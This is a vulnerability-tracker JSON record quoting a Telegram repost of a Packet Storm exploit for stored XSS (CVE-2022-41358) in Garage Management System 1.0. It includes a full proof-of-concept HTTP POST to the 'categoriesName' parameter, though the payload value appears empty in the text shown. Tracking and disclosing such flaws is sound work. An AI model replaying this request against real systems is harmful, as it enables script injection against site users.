{"uuid": "99b573a0-9f0e-4160-b686-05e8e006d9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-41358", "type": "seen", "source": "https://t.me/hacking_Attack/73230", "content": "Exploit Collector\nGarage Management System 1.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png \nGarage Management System version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | afcae7081812521eaaa523ff4ed344d14f1a1dba5fe6ac30c17af09a9cfdbc41\n\nDownload\n# Exploit Title: Garage Management System 1.0 - 'categoriesName' - Stored\nXSS\n# Date: 18-09-2022\n# Exploit Author: Sam Wallace\n# Software Link:\nhttps://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html\n# Version: 1.0\n# Tested on: Debian\n# CVE : CVE-2022-41358\n\nSummary:\nGarage Management System utilizes client side validation to prevent XSS.\nUsing burp, a request can be modified and replayed to the server bypassing\nthis validation which creates an avenue for XSS.\n\nParameter: categoriesName\nURI: /garage/php_action/createCategories.php\n\nPOC:\nPOST /garage/php_action/createCategories.php HTTP/1.1\nHost: 10.24.0.69\nContent-Length: 367\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://10.24.0.69\nContent-Type: multipart/form-data;\nboundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\n(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://10.24.0.69/garage/add-category.php\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u\nConnection: close\n\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesName\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"categoriesStatus\"\n\n1\n------WebKitFormBoundaryqKDsN4gmatTEEkhS\nContent-Disposition: form-data; name=\"create\"\n------WebKitFormBoundaryqKDsN4gmatTEEkhS--\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:34.970526Z"}